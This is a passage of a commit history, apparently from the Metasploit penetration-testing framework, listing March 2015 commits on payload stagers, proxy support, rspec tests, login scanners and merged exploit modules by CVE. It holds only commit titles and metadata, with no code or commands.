2015-03-23 00:30:35 -05:00
William Vu
b87744c1a9
Add whitespace
2015-03-23 00:30:18 -05:00
William Vu
2f83a53884
Add missing fix for #4921
2015-03-23 00:26:18 -05:00
William Vu
8165ae35d0
Remove extraneous semicolon
2015-03-23 00:26:03 -05:00
William Vu
e176b21bcd
Land #4921 , db_nmap help and tab completion
2015-03-23 00:22:46 -05:00
OJ
20131110cd
Add verify_ssl file (missed in prev commit)
2015-03-23 13:22:10 +10:00
OJ
9c9d333a1b
Create verify ssl mixin, adjust some formatting
2015-03-23 13:21:08 +10:00
sinn3r
23685694ad
The tags column should be a virtual column
2015-03-22 21:04:37 -05:00
sinn3r
182018786b
This is probably the proper way to delete tags
2015-03-22 20:55:20 -05:00
sinn3r
ffe48e1ec8
Don't need order to delete
2015-03-22 20:43:11 -05:00
HD Moore
1b3dfe6635
Lands #4977 , updates test module to support arbitrary base filename.
2015-03-22 20:32:52 -05:00
HD Moore
3cb4fa293f
Show advanced/evasion options in msfvenom --payload-options
2015-03-22 20:24:26 -05:00
sinn3r
ef62fc3df7
Allow the delete mode for tags
2015-03-22 20:08:23 -05:00
HD Moore
bc3c73e408
Merge branch 'master' into feature/registered-payload-uuids
2015-03-22 18:51:13 -05:00
sinn3r
b2cc3c4954
I found more bugs and fixed them
2015-03-22 18:21:57 -05:00
sinn3r
708eb42984
I fix bugs for tagging
2015-03-22 18:13:40 -05:00
nstarke
dac5b078f0
Minor fixes for format and style
...
This commit contains a few minor tweaks
for style and format. Some whitespace removed,
an erroneous 'return' removed, and using single
quotes for consistency. Updated as per request.
2015-03-22 22:51:21 +00:00
nstarke
16eab48012
Adding help and tab functions for db_nmap
...
These functions address certain problems
listed in GitHub issue #4353 , but do not
address all issues in that ticket. Most
notably, this commit adds basic tab
completion for db_nmap.
2015-03-22 22:45:56 +00:00
HD Moore
378e867486
Refactor Msf::Payload::UUID, use this in reverse_http
2015-03-22 16:17:12 -05:00
HD Moore
0d1fe37710
Ignore non-base64url characters during decode
2015-03-22 16:16:47 -05:00
sinn3r
863cbcbddb
Add real tagging for the hosts command
2015-03-22 15:34:37 -05:00
jvazquez-r7
2d1adf6ef4
Land #4923 , @m-1-k-3's exploit for overflow on belkin routers
2015-03-22 02:05:35 -05:00
jvazquez-r7
ee74bb3c5b
The default concat operator should be ok
2015-03-22 02:05:02 -05:00
jvazquez-r7
5499b68e02
Do code cleanup
2015-03-22 01:58:32 -05:00
sinn3r
315948e403
Extra newline
2015-03-21 13:49:50 -05:00
Spencer McIntyre
9f176cab43
Land #4976 , @wchen-r7's Egghunter undefined esize fix
2015-03-21 13:34:37 -04:00
sinn3r
848dc07020
var name needs a default
2015-03-21 12:20:29 -05:00
sinn3r
f45e8f49eb
Custom var name
2015-03-21 12:18:02 -05:00
sinn3r
2be5ae3bab
Fix bugs
2015-03-21 12:14:00 -05:00
Spencer McIntyre
a407bc8d65
Fix the reverse_https stager CachedSize for the spec
2015-03-21 13:05:44 -04:00
Spencer McIntyre
7282968d8a
Python reverse HTTPS stager
2015-03-21 12:43:14 -04:00
HD Moore
94241b2998
First attempt at rewiring HTTP handlers to use UUIDs
2015-03-21 03:15:08 -05:00
sinn3r
0ff114bcd6
use #!/usr/bin/env ruby
2015-03-20 23:48:13 -05:00
sinn3r
675f96ecd1
Don't need this require
2015-03-20 23:32:23 -05:00
Brent Cook
8e8e373c31
Land #4961 , @zeroSteiner adds unicode for pymet
2015-03-20 22:38:24 -05:00
Brent Cook
b29d2b5e84
do not die if the uid/gid of a file is > 65535
...
The meterpreter stat command is a little broken in that it assumes uid/gids
16-bit. Prevent this from erroring with python meterpreter on a system with a
large uid/gid.
2015-03-20 22:34:01 -05:00
Brent Cook
d77f8ffeeb
update meterpreter tests to test utf filenames
...
This adds a new option BaseFileName that allows setting the base name for files
and directories used in the meterpreter test modules.
2015-03-20 22:18:19 -05:00
sinn3r
97b919923e
Fix undefined esize in Rex::Exploitation::Egghunter
...
esize is not a valid variable, and we don't need it either.
2015-03-20 21:32:46 -05:00
HD Moore
858d9b1e7a
Introduce Rex::Text.(en|de)code_base64url and use it for uri_checksum
2015-03-20 21:32:08 -05:00
sinn3r
e09f9ca0bc
Provide an example
2015-03-20 20:55:30 -05:00
sinn3r
96bcdd211c
Finished rspec
2015-03-20 20:53:04 -05:00
William Vu
07b82ec640
Land #4974 , minishare_get_overflow WfsDelay change
2015-03-20 18:55:58 -05:00
William Vu
859b54f8a3
Land #4956 , Qualys' Exim GHOST module
2015-03-20 18:44:30 -05:00
jvazquez-r7
8c3e39acf0
Land #4847 @rastating's module for WordPress WP EasyCart privilege escalation
2015-03-20 18:23:05 -05:00
jvazquez-r7
349d7cb9ee
Do minor cleanup
2015-03-20 18:20:45 -05:00
Adam Ziaja
921b9eab8e
Update minishare_get_overflow.rb
...
set WfsDelay 30
2015-03-20 23:42:54 +01:00
William Vu
4004771aed
Land #4972 , minishare_get_overflow targets
...
Windows 2003 SP1 English and Windows 2003 SP2 English.
2015-03-20 17:27:34 -05:00
William Vu
6f51946aa0
Land #4969 , GitLab module references
2015-03-20 17:26:51 -05:00
William Vu
99f3de0843
Clean up info hash formatting
2015-03-20 17:26:21 -05:00
Adam Ziaja
505ecd32fb
Update minishare_get_overflow.rb
...
Windows 2003 SP1 English, Windows 2003 SP2 English
2015-03-20 23:09:50 +01:00
sinn3r
470464874f
The important test cases I want to cover
2015-03-20 16:53:42 -05:00
HD Moore
1eafb21741
Lands #4970 , fixes exception about msfconsole.rc
2015-03-20 16:49:04 -05:00
William Vu
259e95ed21
Add load_resource exception for msfconsole.rc
...
This prevents msfconsole from erroring on a nonexistent msfconsole.rc.
2015-03-20 16:50:27 -05:00
sinn3r
2fda115110
rspec starter
2015-03-20 16:46:09 -05:00
sinn3r
487ddfc09c
no need for Interrupt
2015-03-20 16:39:00 -05:00
sinn3r
582bfdad64
explain arch
2015-03-20 16:37:42 -05:00
James Lee
96195f317e
Use staging branch of mdm
2015-03-20 16:35:46 -05:00
sinn3r
9ecfd36d9e
comments
2015-03-20 16:34:58 -05:00
sinn3r
79a6f1cd09
fix option bug
2015-03-20 16:33:19 -05:00
sinn3r
6da216f3a4
More options
2015-03-20 16:30:29 -05:00
sinn3r
af8f645d1c
This starts to work
2015-03-20 16:15:43 -05:00
jvazquez-r7
1226b3656f
Land #4945 , @wchen-r7's login scanner for Symantec web gateway
2015-03-20 14:44:05 -05:00
jvazquez-r7
2f35fcff99
Fix require
2015-03-20 14:43:42 -05:00
jvazquez-r7
e257e742e0
Fix require
2015-03-20 14:26:55 -05:00
jvazquez-r7
62871255b0
Match class and file names
2015-03-20 14:25:20 -05:00
jvazquez-r7
eb73da2f39
Clean specs
2015-03-20 14:19:02 -05:00
Meatballs
8ee520e749
Add reference
2015-03-20 19:17:34 +00:00
sinn3r
fe267fb5a6
Here's a starting point
2015-03-20 14:15:14 -05:00
William Vu
8cec8e68ac
Land #4968 , print_error for msfconsole -r
2015-03-20 13:53:42 -05:00
William Vu
4d00114428
Add parens around print_error
2015-03-20 13:53:14 -05:00
sinn3r
2c5c94288d
Fix #4966 , tell the user the resource script path is invalid
...
Fix #4966
2015-03-20 13:38:12 -05:00
jvazquez-r7
179177d5c0
Fix typo
2015-03-20 13:27:41 -05:00
sinn3r
b19f766728
Land #4942 , Gitlab Login Scanner
2015-03-20 13:02:12 -05:00
sinn3r
a2ce14a31e
Land #4941 , Gitlab Unauth User Enumeration
2015-03-20 12:28:35 -05:00
sinn3r
235124a40a
Fix typo
2015-03-20 12:27:23 -05:00
sinn3r
84164b44b2
Should also rescue JSON::ParserError for banner parsing
2015-03-20 12:27:02 -05:00
sinn3r
0c2ed21e90
Land #4318 , Lateral movement through PSRemoting
2015-03-20 11:39:35 -05:00
sinn3r
23d8479683
Fix typo
2015-03-20 11:39:00 -05:00
sinn3r
0da79edb9c
Add a print_status to let the user know the module is over
...
If I have to run the module as a job, sometimes I can't tell if
the module has finished running or not.
2015-03-20 11:35:18 -05:00
Spencer McIntyre
8608569964
Pymet support for creating and renaming unicode paths
2015-03-20 08:49:23 -04:00
sinn3r
1b67a06d35
No banner var
2015-03-20 02:26:59 -05:00
sinn3r
b55ffc9ff1
Change option to FORCE_EXPLOIT
2015-03-20 01:44:10 -05:00
OJ
9d20d057dd
Update Meterpreter URL length to 512
2015-03-20 13:16:43 +10:00
OJ
cdbe923419
Ignore all the DLLs
...
We don't keep any meterpreter DLLs in the main repo now, so this changes
the ignore to make sure nothing goes in.
2015-03-20 13:12:48 +10:00
oj@buffered.io
fd4ad9bd2e
Rework changes on top of HD's PR
...
This commit removes duplication, tidies up a couple of things and puts
some common code into the x509 module.
2015-03-20 13:06:57 +10:00
OJ
7b4161bdb4
Update code to handle cert validation properly
...
This code contains duplication from HD's PR. Once his has been landed
this code can be fixed up a bit so that duplication is removed.
2015-03-20 12:52:47 +10:00
OJ
7ca91b2eb5
Add support for ssl to the patcher
2015-03-20 12:52:38 +10:00
OJ
d38e2c968e
Add required include for stageless meterpreter
2015-03-20 12:52:28 +10:00
OJ
a9f74383d0
Update patch to support both ascii and wchar
2015-03-20 12:52:18 +10:00
OJ
acd802c5fd
Initial work for WinHTTP comms support in Meterpreter
2015-03-20 12:51:47 +10:00
William Vu
cf645772b6
Land #4960 , hosts -i, -n, and -m support
2015-03-19 21:34:14 -05:00
William Vu
38dbd1889e
Fix report_note to use :data
...
:note doesn't do what we want.
2015-03-19 21:33:17 -05:00
William Vu
83ce967d75
Clean up hash syntax as per style guide
2015-03-19 21:23:28 -05:00
William Vu
7eec88c086
Land #4957 , glassfish_login symbol cleanup
2015-03-19 21:20:33 -05:00
Brent Cook
564962042e
Land #4925 , OJ adds self-contained windows meterpreter options
2015-03-19 21:07:32 -05:00
HD Moore
c0bf51e0f5
Add a timestamp to the UUID structure
2015-03-19 19:11:58 -05:00
jvazquez-r7
da51d2be67
Really add specs for Msf::Java::Rmi::Client::Registry::Parser
2015-03-19 19:07:42 -05:00
jvazquez-r7
6094d1bfb1
Add specs for Msf::Java::Rmi::Client::Registry::Parser
2015-03-19 19:07:03 -05:00
jvazquez-r7
6eecbc3de1
Add specs for Msf::Java::Rmi::Client::Registry::Builder
2015-03-19 18:24:31 -05:00
sinn3r
6c84081552
Update db_spec.rb
2015-03-19 18:12:37 -05:00
jvazquez-r7
b839547dc3
Add documentation for Registry modules and methods
2015-03-19 17:57:21 -05:00
jvazquez-r7
a7f1244251
Finish the java_rmi_registry gather module
2015-03-19 17:33:45 -05:00
Spencer McIntyre
bac2e7c5f8
Pymet improved unicode support for working directories
2015-03-19 18:31:42 -04:00
sinn3r
f38ad13094
Resolve #4891 , new arguments for the hosts command
...
Resolve #4891
2015-03-19 17:00:41 -05:00
Spencer McIntyre
f9bf4e3100
Fix pymet for unicode files and directories
...
Closes #4958
2015-03-19 17:23:00 -04:00
jvazquez-r7
1d69e15d1a
Fix registry lookup parser
2015-03-19 16:19:55 -05:00
Brent Cook
86f943e25a
Land #4959 - @hmoore-r7 - disable unicode filter by default on !windows
2015-03-19 16:09:25 -05:00
Brent Cook
24ce0118b8
reenable UTF filtering support where needed
...
revert d22231bdc8
2015-03-19 16:02:21 -05:00
HD Moore
d53ccb32a0
Turn off unicode filtering by default for non-Windows platforms (UTF-8 consoles)
...
This is a followup to support for unicode added in #4950
2015-03-19 15:45:45 -05:00
jvazquez-r7
ec90594f7e
Add support for Rex::Java::Serialization::ProxyClassDesc
2015-03-19 15:41:24 -05:00
OJ
a582e05b6d
Merge gemfile changes in master
2015-03-20 06:29:38 +10:00
OJ
040ef1e3e9
Land #4950 : ls unicode and sorting in meterpreter
2015-03-20 06:28:29 +10:00
OJ
830f328aba
Bump meterpreter_bins version
2015-03-20 06:23:10 +10:00
sinn3r
94ab2f94fd
Remove symbols that aren't used
...
These symbols belong to the AuthBrute mixin, but we are not using
AuthBrute for login testing.
2015-03-19 14:14:01 -05:00
sinn3r
d8539ef91a
Change datastore option's description
2015-03-19 12:22:42 -05:00
sinn3r
a2ba81f84f
This should be true (required)
2015-03-19 11:54:03 -05:00
sinn3r
d8c8bd1669
Move the details to a wiki
2015-03-19 11:52:17 -05:00
jvazquez-r7
5c3134a616
Add first support to gather information from RMI registries
2015-03-19 11:16:04 -05:00
OJ
8ac032392b
Update meterpreter bins gem version
2015-03-19 14:51:03 +10:00
OJ
7899881416
Update POSIX bins from master
2015-03-19 14:50:14 +10:00
OJ
1dcad7c21b
Land #4953 : Updated POSIX meterpreter binaries
2015-03-19 14:43:27 +10:00
Brent Cook
35d29f5d08
update linux meterpreter bins
2015-03-18 23:24:32 -05:00
OJ
1a2f35d806
Land #4951 : Dynamic URI generation for Java/Python reverse_http(s)
2015-03-19 12:41:20 +10:00
Spencer McIntyre
076f15f933
Land #4792 @jakxx Publish It PUI file exploit
2015-03-18 20:59:54 -04:00
Spencer McIntyre
3f8ed56a9a
Add available space to the payload info
2015-03-18 20:57:58 -04:00
Meatballs
a5d589ef55
Railgun calls should return a hash
2015-03-19 00:05:02 +00:00
Meatballs
6ceab3d02d
Add a DisclosureDate
2015-03-18 23:51:18 +00:00
sinn3r
968a8758ad
Add CVE-2015-0235 Exim GHOST (glibc gethostbyname) Buffer Overflow
...
This was originally written by Qualys
2015-03-18 18:51:16 -05:00
Meatballs
2dd9dcb26c
Dont use native unpack operators!
2015-03-18 23:48:39 +00:00
Meatballs
975ddc9092
Add some spec mockery
2015-03-18 23:43:46 +00:00
joev
b33e7f477c
Land #4947 , h0ng10's TWiki exploit.
2015-03-18 17:17:34 -05:00
HD Moore
ce0796a427
Base module for Payload UUID support
2015-03-18 17:03:47 -05:00
HD Moore
ae621c83c5
Add a URL-safe base64 encoder/decoder
2015-03-18 17:03:29 -05:00
HD Moore
346b1d539f
Revert Java back to static size for cache purposes (less cpu usage on startup)
2015-03-18 16:24:01 -05:00
HD Moore
33bbf7cb7e
Dynamic URI generation for python/java http(s) stagers
2015-03-18 16:08:11 -05:00
Brent Cook
c774038fe6
improve ls output by providing various new options
2015-03-18 16:02:03 -05:00
jvazquez-r7
ae84c8ee30
Delete even more comments
2015-03-18 15:55:52 -05:00
jvazquez-r7
9628415ca2
Delete more comments
2015-03-18 15:53:50 -05:00
jvazquez-r7
c3dd4035ef
Make jmx module work again
2015-03-18 15:48:07 -05:00
jvazquez-r7
f956ba1a46
Do first JMX cleaning try
2015-03-18 15:37:07 -05:00
HD Moore
0d1f2055c5
Lands #4949 which fixes #4845
2015-03-18 15:31:22 -05:00
rwhitcroft
dab4333867
updated asm in block
2015-03-18 16:07:46 -04:00
rwhitcroft
7ae97393e0
fix x64/reverse_https stager shellcode
2015-03-18 15:34:31 -04:00
David Maloney
4293af01b1
make sure we strip leading whitespace
...
in the aforementiond record_request_and_response method
we need to still make sure to strip leading whitespace
from the front of our data before saving it
MSP-9972
2015-03-18 11:23:45 -05:00
David Maloney
dacaa9e82b
simplify request-response parsing in apsscan
...
the record_request_and_response method for the
nokogiri appscan parser was way overcomplicated
it was trying to do way too much trickiness
when the data could be very simply split and consumed
MSP-9972
2015-03-18 11:19:00 -05:00
David Maloney
3269817b29
remove bad truthiness checks
...
truthy checks were used here, but you'll get
an empty hash which will be treated as true causing
the test to be invalid and allowing for errors further in the method
MSP-9972
2015-03-18 10:52:24 -05:00
jvazquez-r7
8113ed2e1f
Move specs
2015-03-18 09:29:37 -05:00
jvazquez-r7
17e1f7d34f
Move Streams code
2015-03-18 09:25:53 -05:00
OJ
e943cb550f
Land #4585 : CVE-2015-0975 XXE in OpenNMS
2015-03-18 22:34:52 +10:00
OJ
d1a2f58303
Fix of regex for file capture and format tweaks
2015-03-18 22:17:44 +10:00
Hans-Martin Münch (h0ng10)
5dd718e4fa
Better description
2015-03-18 09:51:51 +01:00
Hans-Martin Münch (h0ng10)
00de437918
Initial commit
2015-03-18 09:45:08 +01:00
OJ
fa7242388b
Move the module to the correct location
2015-03-18 18:18:54 +10:00
OJ
d152c41826
Land #4934 : Proxy and auth support in reverse_http(s)
2015-03-18 17:42:19 +10:00
HD Moore
b62da42927
Merge branch 'master' into feature/add-proxies-to-wininet
2015-03-18 01:51:15 -05:00
OJ
b46e5f8d13
Land #4295 : Refactory proxy-enabled payload handling
2015-03-18 16:49:13 +10:00
HD Moore
c607cf7b11
Merging master
2015-03-18 01:45:44 -05:00
HD Moore
97def50cc2
Whitespace cleanup
2015-03-18 01:26:59 -05:00
HD Moore
8d3cb8bde5
Fix up meterpreter patching arguments and names
2015-03-18 01:25:42 -05:00
HD Moore
ef443c83b9
Fix overgreed search/replace
2015-03-18 01:21:53 -05:00
HD Moore
390a704cc7
Cleanup proxyhost/proxyport arguments to match new names
2015-03-18 01:19:05 -05:00
HD Moore
f7a06d8e44
Rework PROXY_{HOST|PORT|TYPE|USERNAME|PASSWORD) to the new syntax
2015-03-18 01:15:32 -05:00
HD Moore
3aa8cb69a4
Fix two use cases of PROXYHOST/PROXYPORT
2015-03-18 01:08:09 -05:00
HD Moore
87a489907c
Place an IPv6 proxy IP between brackets
2015-03-18 01:01:16 -05:00
HD Moore
259db269bd
Remove user/pass and invalid class from the options
2015-03-18 01:01:16 -05:00
HD Moore
2ab14e7e79
Adds IPv6 and option-related issues with the previous patch
2015-03-18 01:01:10 -05:00
HD Moore
0601946830
Don't mandate and default PROXY_HOST (miscopy from the proxy stager)
2015-03-18 01:00:04 -05:00
HD Moore
a4df6d539f
Cleanup proxy handling code (consistency & bugs)
...
One subtle bug was that each time a request was received, a null byte was being appended to the datastore options for PROXY_USERNAME and PROXY_PASSWORD. Eventually this would break new sessions. This change centralizes the proxy configuration and cleans up the logic.
2015-03-18 00:59:59 -05:00
HD Moore
85fb534e63
Fix up the offset detection again, cleanup redundant code
2015-03-18 00:59:25 -05:00
HD Moore
2f13988d7b
Use OptPort vs OptInt and cleanup the description
2015-03-18 00:59:25 -05:00
HD Moore
a01be365b0
Rework PROXYHOST/PROXYPORT to PROXY_HOST/PROXY_PORT
...
This also cleans up the windows reverse_https_proxy stager.
2015-03-18 00:59:13 -05:00
jvazquez-r7
14be07a2c4
Update java_rmi_server modules
2015-03-17 21:29:52 -05:00
jvazquez-r7
d6048d0978
Use rex support for build_call
2015-03-17 21:05:45 -05:00
jvazquez-r7
0968f14ac1
Add specs for CallData
2015-03-17 20:53:02 -05:00
jvazquez-r7
6315e07312
Add specs for UniqueIdentifier
2015-03-17 20:38:43 -05:00
jakxx
b197b7aaf0
Additional Updates
...
-Removed unused mixin
-Cleaned up Module name
-Cleaned up author name
2015-03-17 19:24:13 -04:00
James Lee
bd4738b93e
Land #4827 , capture and nbns fixups
2015-03-17 17:37:55 -05:00
James Lee
d7fa0ec669
Let IPAddr#hton do the calculating
2015-03-17 17:36:45 -05:00
jvazquez-r7
4bc4936083
Add specs for ReturnValue
2015-03-17 17:30:53 -05:00
jvazquez-r7
87b777e923
Refactor moving code to rex
2015-03-17 17:15:32 -05:00
Brent Cook
47a7f99aae
Land #4930 , @hmoore-r7 winhttp stager certificate check
2015-03-17 16:22:46 -05:00
sinn3r
78ec4c91e8
Completed rspec
2015-03-17 16:15:12 -05:00
jakxx
085e6cc815
Implemented Recommended Changes
...
-corrected spelling error
-set only option to required
-dumped header data to included file
-Used Rex for jmp values
2015-03-17 16:39:56 -04:00
sinn3r
ee276434a4
Update swg spec, looking good so far
2015-03-17 15:15:32 -05:00
jvazquez-r7
1242404085
Delete comment
2015-03-17 14:18:07 -05:00
William Vu
d1d6378179
Land #4566 , Misfortune Cookie scanner improvements
2015-03-17 12:32:35 -05:00
sinn3r
d5b77d053b
Update for rspec
2015-03-17 12:14:58 -05:00
sinn3r
503fb602f9
Get rspec going
2015-03-17 12:01:46 -05:00
sinn3r
608bf55b79
Update
2015-03-17 11:54:38 -05:00
jvazquez-r7
2d8782d711
Fix RMI specs
2015-03-17 11:48:38 -05:00
jvazquez-r7
dd6ecefe39
Fix endianess
2015-03-17 11:40:50 -05:00
sinn3r
f95b783193
I don't need these eitehr
2015-03-17 11:33:49 -05:00
sinn3r
27b6fbb648
I don't need :ssl and :ssl_version
2015-03-17 11:31:38 -05:00
jvazquez-r7
ebe7ad07b0
Add specs, plus modify java_rmi_server modules
2015-03-17 11:26:27 -05:00
Brent Cook
d22231bdc8
remove unicode_filter_encode calls
...
Let the underlying utf8 messages through to the console.
2015-03-17 11:07:07 -05:00
jstnkndy
0490af8ba8
Added error checks, randomness, and uuid delimeter
2015-03-17 10:20:22 -04:00
jstnkndy
f3fc4003d0
typo
2015-03-17 10:19:40 -04:00
jstnkndy
b92d243c0e
Merge branch 'module-cve-2015-0975' of https://github.com/jstnkndy/metasploit-framework into module-cve-2015-0975
2015-03-17 10:18:32 -04:00
jstnkndy
e0a7f531cc
Added error checking, randomness, uuid delimiters
2015-03-17 10:10:51 -04:00
Meatballs
e1ebc6c7fe
Update date, remove URL (will replace later)
2015-03-17 12:50:47 +00:00
Meatballs
69453c1955
Missing ?
2015-03-17 12:00:58 +00:00
Meatballs
fcc21ff928
Stylish like @limhoff-r7
2015-03-17 11:44:02 +00:00
Meatballs
2c6b904c02
Correct spec too
2015-03-17 11:36:36 +00:00
Meatballs
0cd85cb052
Correct capitilzation of GitLab
2015-03-17 11:33:57 +00:00
Meatballs
d18224e3cb
Correct capitilzation of GitLab
2015-03-17 11:32:14 +00:00
Meatballs
25840c41cf
Rubocop
2015-03-17 11:21:05 +00:00
Meatballs
f4a1e981ab
Add gitlab login scanner
2015-03-17 11:19:23 +00:00
Meatballs
878247f495
Small modifications
2015-03-17 10:03:32 +00:00
Meatballs
f1d5d8f1ce
Store to loot as well
2015-03-17 09:55:28 +00:00
Meatballs
9f40826f8e
Store creds in database
2015-03-17 09:17:08 +00:00
Meatballs
3830e71257
Catch 7.5 401
2015-03-17 09:17:08 +00:00
Meatballs
1b565b0290
Check revision
2015-03-17 09:17:07 +00:00
Meatballs
7216f2a971
Initial commit
2015-03-17 09:17:07 +00:00
sinn3r
14296826f7
A cleaner way to set datastore options
2015-03-17 03:07:49 -05:00
sinn3r
ff58f7d270
Add Symantec Web Gateway Login Module
2015-03-17 02:51:57 -05:00
jvazquez-r7
0a37df67a0
Add initial support for better RMI calls
2015-03-16 23:44:16 -05:00
HD Moore
495a8f3a88
Lands #4936 , fixes a typo in post/windows/gather/credentials/steam
2015-03-16 20:25:07 -05:00
OJ
31685dbe60
Land @bcook-r7's tidies/specs/etc for stateless meterp
2015-03-17 09:32:02 +10:00
HD Moore
a35e5bc0b8
Lands #4938 , updates the spec template to match new tests
2015-03-16 18:28:46 -05:00
Brent Cook
db56fcb1b8
update tools/missing-payload-tests to give correct advice
...
The template spec for new payloads needed updating to match the new cached
payload size spec.
2015-03-16 18:10:10 -05:00
Brent Cook
349995a109
update gemspec for new meterpreter bins
2015-03-16 18:09:19 -05:00
Brent Cook
abb8a32e68
update spec for dynamic meterpreter payloads
2015-03-16 18:08:13 -05:00
joev
dd824d9ed7
Land #4909 , the many addresses of joev.
2015-03-16 17:12:20 -05:00
Felix Wehnert
2a525958bd
fixed typo
...
Does no one tested this script on x64 yet ?
2015-03-16 20:15:26 +01:00
HD Moore
2ea984423b
while(true)->loop, use thread.join
2015-03-16 14:08:01 -05:00
HD Moore
5fd3637d34
Remove the i32 size specifier (not needed)
2015-03-16 14:00:51 -05:00
HD Moore
69d9280748
Fix yard docs, retries, push.i8 instructions. See commit 05138524e3
...
Note that StagerRetryCount is not defined here, but will be in the parent class once #4934 lands
2015-03-16 13:52:13 -05:00
HD Moore
05138524e3
Fix yard docs, fix retries, trim bytes, retested and working
2015-03-16 13:35:36 -05:00
HD Moore
69a808b744
StagerProxy -> PayloadProxy
2015-03-16 12:14:42 -05:00
OJ
03232befc7
Add extra check to avoid crashing on startup
2015-03-16 17:14:36 +10:00
William Vu
ac0e23d783
Land #4932 , hardcoded username fix
...
For mssql_escalate_execute_as_sqli.
2015-03-16 01:46:13 -05:00
HD Moore
f361e4ee52
Prefer the new-style proxy datastore options when available
2015-03-16 00:22:10 -05:00
HD Moore
7e89281485
Adds proxy (with authentication) support to reverse_http(s)
2015-03-16 00:03:31 -05:00
Scott Sutherland
00dbcc12ca
Removed imp_user var from escalate_privs func
2015-03-15 22:02:12 -07:00
William Vu
b0a8fd864c
Land #4929 , duplicate hash key fixes (final pass)
2015-03-15 20:38:41 -05:00
nullbind
5bebabb005
fixed hardcoded username
2015-03-15 19:45:02 -05:00
HD Moore
8e37342c50
Comment typo
2015-03-14 16:52:04 -05:00
HD Moore
0d12ca49a7
Work around lack of option normalization during size calculation
2015-03-14 16:19:13 -05:00
HD Moore
03019cf451
Adds StagerVerifySSLCert support (SHA1 of HandlerSSLCert)
2015-03-14 15:53:21 -05:00
HD Moore
11593800b6
Move X509 PEM parsing into Rex::Parser::X509Certificate
2015-03-14 15:52:23 -05:00
Sven Vetsch
4d3a1a2f71
fix all duplicated keys in modules
2015-03-14 13:10:42 +01:00
jvazquez-r7
bb81107e51
Land #4927 , @wchen-r7's exploit for Flash PCRE CVE-2015-0318
2015-03-13 23:58:05 -05:00
sinn3r
3bfdfbc987
Small changes
2015-03-13 18:55:11 -05:00
jvazquez-r7
1ead57a80d
Land #4928 , @h0ng10's local exploit for iPass Mobile Client
2015-03-13 16:58:45 -05:00
jvazquez-r7
9894a3dc54
Change module filename
2015-03-13 16:53:17 -05:00
jvazquez-r7
b4de3ce42b
Do minor cleanup
2015-03-13 16:52:26 -05:00
Hans-Martin Münch (h0ng10)
b0e730d5ae
Typo
2015-03-13 20:41:14 +01:00
Hans-Martin Münch (h0ng10)
726f01b8cc
Initial version
2015-03-13 20:33:45 +01:00
sinn3r
182850df30
Stick to Win 7
2015-03-13 12:41:05 -05:00
sinn3r
2b199315d4
Final
2015-03-13 12:30:41 -05:00
sinn3r
2a25e2b2e1
Update Main.as
2015-03-13 11:40:16 -05:00
Brent Cook
74ee2d8408
Land #4916 , @hmoore-r7 annotate Interlock Target param as 'in' only
2015-03-13 08:59:59 -05:00
Brent Cook
7a212a01eb
Land #4917 , @hmoore-r7 avoid another payload size recalc
2015-03-13 08:43:33 -05:00
Brent Cook
b68e05e536
Land #4914 , @hmoore-r7 and @BorjaMerino winhttp stagers
2015-03-13 08:24:11 -05:00
OJ
1338a55b0d
Adjust error handling for extension enumeration
...
Make the catch case more generic for when the target doesn't support the
command for extension enumeration. This supports more than just windows
now.
2015-03-13 21:49:45 +10:00
OJ
35cfdf051a
Add support for meterpreter_reverse_ipv6_tcp
...
New payload added, makes use of existing functionality.
2015-03-13 20:15:31 +10:00
OJ
c5a74c7db4
Update the Meterpreter binaries version
...
This will force the build/PR to be invalid until the new meterpreter
binaries gem has been released.
2015-03-13 20:14:54 +10:00
sinn3r
0ee0a0da1c
This seems to work
2015-03-13 04:43:06 -05:00
William Vu
fa2fbc387c
Land #4922 , REG_MULTI_SZ for type2str
2015-03-13 01:07:27 -05:00
James Lee
14a5efce58
Add yardoc
2015-03-13 01:04:23 -05:00
William Vu
a32cd2ae9e
Land #4877 , CVE-2015-0240 (Samba) aux module
2015-03-13 00:03:53 -05:00
HD Moore
a57f02b863
Remove invalid SECURITY_FLAG_IGNORE_REVOCATION flag
2015-03-12 23:01:04 -05:00
scriptjunkie
6011e8b3e1
Land #4918 , Rework how payload prepends work
2015-03-12 18:56:04 -05:00
jvazquez-r7
75b2ef81dc
Land #4890 , @julianvilas's improvements struts_code_exec_classloader
2015-03-12 17:25:00 -05:00
jvazquez-r7
b6146b1499
Use print_warning
2015-03-12 17:22:03 -05:00
jvazquez-r7
e035e6ce51
Land #4899 , @h0ng10's exploit for iPass Open Mobile CVE-2015-0925
2015-03-12 16:42:52 -05:00
jvazquez-r7
7b7ebc20d7
Fix indentation
2015-03-12 16:41:41 -05:00
jvazquez-r7
da47d368e8
Do minor style cleaning
2015-03-12 16:35:48 -05:00
jvazquez-r7
a77078b555
Add X86 target
2015-03-12 16:34:44 -05:00
jvazquez-r7
1b20bc9dca
Land #4919 , @wchen-r7's new reference for ie_uxss_injection
2015-03-12 15:30:37 -05:00
sinn3r
0c3329f69e
Back on track
2015-03-12 15:26:55 -05:00
HD Moore
b43893ad71
Lands #4903 , corrects the return value used for the script path
2015-03-12 14:05:22 -05:00
m-1-k-3
819a49b28a
msftidy again
2015-03-12 19:09:52 +01:00
m-1-k-3
2eab258a76
msftidy
2015-03-12 19:07:56 +01:00
m-1-k-3
ccf7314c8f
msftidy
2015-03-12 19:05:21 +01:00
m-1-k-3
6fcab31997
ncc exploit CVE-2015-1187 - dir626l
2015-03-12 18:55:50 +01:00
sinn3r
220a26c5a4
Land #4907 , CVE-2015-1427, elasticsearch groovy code injection
2015-03-12 11:28:24 -05:00
sinn3r
ac24652196
Land #4911 , CVE-2015-0096 (ms15_020_shortcut_icon_dllloader)
2015-03-12 10:51:56 -05:00
sinn3r
67d05f9354
Add the PR as a reference (how to guide)
2015-03-12 10:51:01 -05:00
sinn3r
0d36115112
Update MS15-018 MSB reference
2015-03-12 10:13:37 -05:00
HD Moore
744b1a680e
Reworks how payload prepends work internally, see #1674
2015-03-12 02:30:06 -05:00
HD Moore
376d05f797
Avoid instantiating the module during recalculate
2015-03-12 01:02:37 -05:00
HD Moore
f676dc03c8
Lands #4849 , prevents the target from running out of memory during NTFS reads
2015-03-12 00:01:47 -05:00
HD Moore
7252ba284a
Tweak memory usage from 64Mb to 4Mb
2015-03-11 23:58:13 -05:00
jvazquez-r7
e9e9d27363
Merge support for the SMB share mixin
2015-03-11 23:49:27 -05:00
jvazquez-r7
68d69177ad
Add smb module for MS15-020
2015-03-11 23:46:50 -05:00
HD Moore
24440b8c38
Lands #4913 , adds OSVDB reference to nvidia module
2015-03-11 23:32:22 -05:00
HD Moore
aa79b71e35
